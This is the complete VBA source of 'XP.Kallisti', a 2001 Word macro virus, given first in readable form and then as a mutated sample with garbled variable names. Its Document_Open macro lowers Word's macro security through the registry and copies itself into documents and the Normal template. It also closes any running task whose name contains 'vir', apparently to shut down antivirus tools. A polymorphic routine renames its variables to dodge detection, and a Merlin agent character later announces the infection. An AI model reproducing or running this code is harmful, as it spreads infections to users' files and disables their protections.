Private Sub Document_Open()
On Error Resume Next
jOne = jOne + 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") <> 1& Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1&
WordBasic.FileExit dlg
End If
If VBA.GetAttr(Word.Application.ActiveDocument.FullName) = jOne Then
VBA.SetAttr Word.Application.ActiveDocument.FullName, (Rnd * 0)
ActiveDocument.Reload
End If
VBA.SetAttr Word.Application.NormalTemplate.FullName, (Rnd * 0)
Options.SaveNormalPrompt = vbEmpty
Set host = VBA.IIf(Word.Application.MacroContainer = Word.Application.ActiveDocument, Word.Application.NormalTemplate, Word.Application.ActiveDocument)
With host.VBProject
With .vbcomponents.Item(jOne).Codemodule
If Not .lines(90, jOne) Like "'XP*" Then
.deletelines jOne, .countoflines
.insertlines jOne, jsmp(Word.MacroContainer.VBProject.vbcomponents.Item(jOne).Codemodule.lines(jOne, 92))
If host = Word.Application.ActiveDocument Then Word.Application.ActiveDocument.SaveAs Word.Application.ActiveDocument.FullName, wdFormatDocument
End If
End With
End With
For yXP = jOne To Word.Tasks.Count
If VBA.InStr(jOne, VBA.LCase(Word.Tasks(yXP).Name), "vir") Then Word.Tasks(yXP).Close
Next
If VBA.InStr(jOne, VBA.Time, "5") Then
xMerlin = "Merlin"
Set objChar = CreateObject("Agent.Control.1")
objChar.Connected = True
If VBA.IsObject(objChar) Then
objChar.Characters.Load xMerlin, xMerlin & ".acs"
Set objMer = objChar.Characters(xMerlin)
With objMer
.Top = 100
.Left = 100
.LanguageID = &H409
.Show
End With
objMer.Play "Greet"
objMer.Speak "Hello, " & Word.Application.UserName & "!" & "\Vol=99"
objMer.Play "GetAttention"
objMer.Play "GetAttentionReturn"
objMer.Speak "I said: 'Hello " & Word.Application.UserName & "!" & Chr(39)
objMer.Play "Idle2_2"
objMer.Speak "Let me tell you something about a confused girl..."
objMer.Play "Idle1_1"
objMer.Speak "...once she turned around and thought,"
objMer.Play "Idle1_2"
objMer.Speak "how damn simple it is,"
objMer.Play "Idle1_1"
objMer.Speak "leaving a man she once loved,"
objMer.Play "Idle2_1"
objMer.Speak "but she did not notice,"
objMer.Play "Idle1_1"
objMer.Speak "that her heart had become deaf by the pain..."
objMer.Play "Acknowledge"
objMer.Play "Idle1_1"
objMer.Speak "Oh, I forgot..."
objMer.Play "Idle2_1"
objMer.Speak "I think you are infected with XP.Kallisti...(the first virus for Office XP ever)"
objMer.Play "Idle1_1"
objMer.Speak "Damn...I have to go now..."
objMer.MoveTo 800, 600
objMer.Play "Idle3_1"
objMer.Play "Wave"
objMer.Speak "Goodbye now " & Word.Application.UserName & "!"
Set finish = objMer.Hide
Do Until finish.Status = 0
VBA.DoEvents
Loop
objChar.Characters.Unload xMerlin
End If
End If
End Sub
Private Function jsmp(joc) 'Oh my god, it's poly...xD
jOne = jOne + 1
jav = "jsmp joc jav jvl jnv jvp jcv jOne host xMerlin yXP objChar objMer finish "
Do
jcv = VBA.Left(jav, VBA.InStr(jav, VBA.Chr(32)) - jOne): jav = VBA.Mid(jav, VBA.InStr(jav, VBA.Chr(32)) + jOne)
jnv = VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129))
Do
jvp = VBA.InStr(jvp + jOne, VBA.LCase(joc), VBA.LCase(jcv))
If jvp Then joc = VBA.Mid(joc, jOne, (jvp - jOne)) & jnv & VBA.Mid(joc, (jvp + VBA.Len(jcv)))
Loop While jvp
Loop While jav <> ""
jsmp = joc
End Function
'XP.Kallisti
'(c) 2001 jackie // linezer0



-----[snip]------


Private Sub Document_Open()
On Error Resume Next
΅Κ© = ΅Κ© + 1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") <> 1& Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1&
WordBasic.FileExit dlg
End If
If VBA.GetAttr(Word.Application.ActiveDocument.FullName) = ΅Κ© Then
VBA.SetAttr Word.Application.ActiveDocument.FullName, (Rnd * 0)
ActiveDocument.Reload
End If
VBA.SetAttr Word.Application.NormalTemplate.FullName, (Rnd * 0)
Options.SaveNormalPrompt = vbEmpty
Set Λ³¬ = VBA.IIf(Word.Application.MacroContainer = Word.Application.ActiveDocument, Word.Application.NormalTemplate, Word.Application.ActiveDocument)
With Λ³¬.VBProject
With .vbcomponents.Item(΅Κ©).Codemodule
If Not .lines(90, ΅Κ©) Like "'XP*" Then
.deletelines ΅Κ©, .countoflines
.insertlines ΅Κ©, ©¬»(Word.MacroContainer.VBProject.vbcomponents.Item(΅Κ©).Codemodule.lines(΅Κ©, 92))
If Λ³¬ = Word.Application.ActiveDocument Then Word.Application.ActiveDocument.SaveAs Word.Application.ActiveDocument.FullName, wdFormatDocument
End If
End With
End With
For ΘΚ = ΅Κ© To Word.Tasks.Count
If VBA.InStr(΅Κ©, VBA.LCase(Word.Tasks(ΘΚ).Name), "vir") Then Word.Tasks(ΘΚ).Close
Next
If VBA.InStr(΅Κ©, VBA.Time, "5") Then
Ό = "Merlin"
Set ± = CreateObject("Agent.Control.1")
±.Connected = True
If VBA.IsObject(±) Then
±.Characters.Load Ό, Ό & ".acs"
Set Ά° = ±.Characters(Ό)
With Ά°
.Top = 100
.Left = 100
.LanguageID = &H409
.Show
End With
Ά°.Play "Greet"
Ά°.Speak "Hello, " & Word.Application.UserName & "!" & "\Vol=99"
Ά°.Play "GetAttention"
Ά°.Play "GetAttentionReturn"
Ά°.Speak "I said: 'Hello " & Word.Application.UserName & "!" & Chr(39)
Ά°.Play "Idle2_2"
Ά°.Speak "Let me tell you something about a confused girl..."
Ά°.Play "Idle1_1"
Ά°.Speak "...once she turned around and thought,"
Ά°.Play "Idle1_2"
Ά°.Speak "how damn simple it is,"
Ά°.Play "Idle1_1"
Ά°.Speak "leaving a man she once loved,"
Ά°.Play "Idle2_1"
Ά°.Speak "but she did not notice,"
Ά°.Play "Idle1_1"
Ά°.Speak "that her heart had become deaf by the pain..."
Ά°.Play "Acknowledge"
Ά°.Play "Idle1_1"
Ά°.Speak "Oh, I forgot..."
Ά°.Play "Idle2_1"
Ά°.Speak "I think you are infected with XP.Kallisti...(the first virus for Office XP ever)"
Ά°.Play "Idle1_1"
Ά°.Speak "Damn...I have to go now..."
Ά°.MoveTo 800, 600
Ά°.Play "Idle3_1"
Ά°.Play "Wave"
Ά°.Speak "Goodbye now " & Word.Application.UserName & "!"
Set ¬£Δ = Ά°.Hide
Do Until ¬£Δ.Status = 0
VBA.DoEvents
Loop
±.Characters.Unload Ό
End If
End If
End Sub
Private Function ©¬»(ΊΎΆ) 'Oh my god, it's poly...xD
΅Κ© = ΅Κ© + 1
 ΑΌΙ = "©¬» ΊΎΆ  ΑΌΙ ΒΘ¨ Ί­€ ―±Ώ Ύ­ΚΕ ΅Κ© Λ³¬ Ό ΘΚ ± Ά° ¬£Δ "
Do
Ύ­ΚΕ = VBA.Left( ΑΌΙ, VBA.InStr( ΑΌΙ, VBA.Chr(32)) - ΅Κ©):  ΑΌΙ = VBA.Mid( ΑΌΙ, VBA.InStr( ΑΌΙ, VBA.Chr(32)) + ΅Κ©)
Ί­€ = VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129)) & VBA.Chr((VBA.Int(VBA.Rnd * 75) + 129))
Do
―±Ώ = VBA.InStr(―±Ώ + ΅Κ©, VBA.LCase(ΊΎΆ), VBA.LCase(Ύ­ΚΕ))
If ―±Ώ Then ΊΎΆ = VBA.Mid(ΊΎΆ, ΅Κ©, (―±Ώ - ΅Κ©)) & Ί­€ & VBA.Mid(ΊΎΆ, (―±Ώ + VBA.Len(Ύ­ΚΕ)))
Loop While ―±Ώ
Loop While  ΑΌΙ <> ""
©¬» = ΊΎΆ
End Function
'XP.Kallisti
'(c) 2001 jackie // linezer0
